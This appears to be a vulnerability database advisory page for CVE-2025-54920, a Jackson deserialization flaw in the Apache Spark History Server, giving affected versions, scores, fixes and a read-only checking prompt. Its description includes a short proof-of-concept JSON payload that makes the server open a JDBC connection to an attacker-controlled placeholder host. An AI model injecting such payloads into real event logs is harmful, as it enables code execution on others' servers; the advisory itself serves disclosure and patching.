CVE-2025-54920
Apache Spark: Spark History Server Code Execution Vulnerability
Also known as BIT-spark-2025-54920, GHSA-jwp6-cvj8-fw65
Mitigation
- Upgrade org.apache.spark:spark-core_2.13 to one of 4.0.1, 3.5.7 (or later in the same release line).
- Upgrade org.apache.spark:spark-core_2.12 to 3.5.7 or later.
Who should check
- Projects that depend on Maven package org.apache.spark:spark-core_2.13 (>= 4.0.0, < 4.0.1)
- Projects that depend on Maven package org.apache.spark:spark-core_2.12 (< 3.5.7)
- Projects that depend on Maven package org.apache.spark:spark-core_2.11 (<= 2.4.8)
- Projects that depend on Maven package org.apache.spark:spark-core_2.10 (<= 2.2.3)
- Projects that depend on Maven package org.apache.spark:spark-core_2.9.3 (<= 0.8.1-incubating)
- Anyone running Apache Software Foundation Apache Spark < 3.5.7; >= 4.0.0, < 4.0.1
Vulnerability facts
- Affected
- org.apache.spark:spark-core_2.13 >= 4.0.0, < 4.0.1; org.apache.spark:spark-core_2.12 < 3.5.7; org.apache.spark:spark-core_2.11 <= 2.4.8; org.apache.spark:spark-core_2.10 <= 2.2.3; org.apache.spark:spark-core_2.9.3 <= 0.8.1-incubating
- Fixed in
- 4.0.1, 3.5.7
- Exploited in the wild
- Not in CISA KEV
- Public exploit / PoC
- Yes: see the exploit references below
- Remote exploitation
- Remote, login needed
- CVSS
- 8.8 (v3.1, CNA)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HOpen in CVSS calculator
Show all 8 CVSS metrics
- Attack vector: Network
- Attack complexity: Low
- Privileges required: Low
- User interaction: None
- Scope: Unchanged
- Confidentiality impact: High
- Integrity impact: High
- Availability impact: High
- EPSS
- 6.47% chance of exploitation in 30 days (percentile 95, 2026-11-26)
- CWE
- CWE-502
- Modified
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Affected and fixed versions
| Package / product | Affected | Fixed | Source |
|---|---|---|---|
| Maven org.apache.spark:spark-core_2.13 | >= 4.0.0, < 4.0.1 | 4.0.1, 3.5.7 | osv |
| Maven org.apache.spark:spark-core_2.12 | < 3.5.7 | 3.5.7 | osv |
| Maven org.apache.spark:spark-core_2.11 | <= 2.4.8 | — | osv |
| Maven org.apache.spark:spark-core_2.10 | <= 2.2.3 | — | osv |
| Maven org.apache.spark:spark-core_2.9.3 | <= 0.8.1-incubating | — | osv |
| Apache Software Foundation Apache Spark | < 3.5.7; >= 4.0.0, < 4.0.1 | — | cvelist |
Check your systems with an agent
Paste this into Claude Code, Cursor or another coding agent. It only reads; it changes nothing.
Check whether anything I run is affected by CVE-2025-54920. Work read-only: do not install, upgrade, delete or change anything. Details: https://flawdb.com/CVE-2025-54920.md Affected: org.apache.spark:spark-core_2.13 >= 4.0.0, < 4.0.1; org.apache.spark:spark-core_2.12 < 3.5.7; org.apache.spark:spark-core_2.11 <= 2.4.8; org.apache.spark:spark-core_2.10 <= 2.2.3; org.apache.spark:spark-core_2.9.3 <= 0.8.1-incubating Fixed in: 4.0.1, 3.5.7 Steps: 1. Search this machine and project for org.apache.spark:spark-core_2.13 (Maven), org.apache.spark:spark-core_2.12 (Maven), org.apache.spark:spark-core_2.11 (Maven), org.apache.spark:spark-core_2.10 (Maven), org.apache.spark:spark-core_2.9.3 (Maven), Apache Software Foundation Apache Spark: dependency manifests and lockfiles, installed packages, container images and running services. 2. For each match, note the installed version and whether it is inside the affected range. 3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
References
Vendor advisories
Exploits and PoCs
FAQ
Is CVE-2025-54920 being exploited?
There is no confirmed exploitation: CVE-2025-54920 is not in the CISA Known Exploited Vulnerabilities catalog. Public exploit code or a proof of concept is available. EPSS estimates a 6.47% chance of exploitation in the next 30 days (as of 2026-11-26).
How serious is CVE-2025-54920?
High: CVSS 8.8 (v3.1, scored by CNA). Remote, login needed.
Which versions are affected by CVE-2025-54920?
org.apache.spark:spark-core_2.13 >= 4.0.0, < 4.0.1; org.apache.spark:spark-core_2.12 < 3.5.7; org.apache.spark:spark-core_2.11 <= 2.4.8; org.apache.spark:spark-core_2.10 <= 2.2.3; org.apache.spark:spark-core_2.9.3 <= 0.8.1-incubating.
Is there a fix for CVE-2025-54920?
Yes. Fixed in 4.0.1, 3.5.7. Upgrade org.apache.spark:spark-core_2.13 to one of 4.0.1, 3.5.7 (or later in the same release line). Upgrade org.apache.spark:spark-core_2.12 to 3.5.7 or later.
How do I check if I'm affected by CVE-2025-54920?
Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.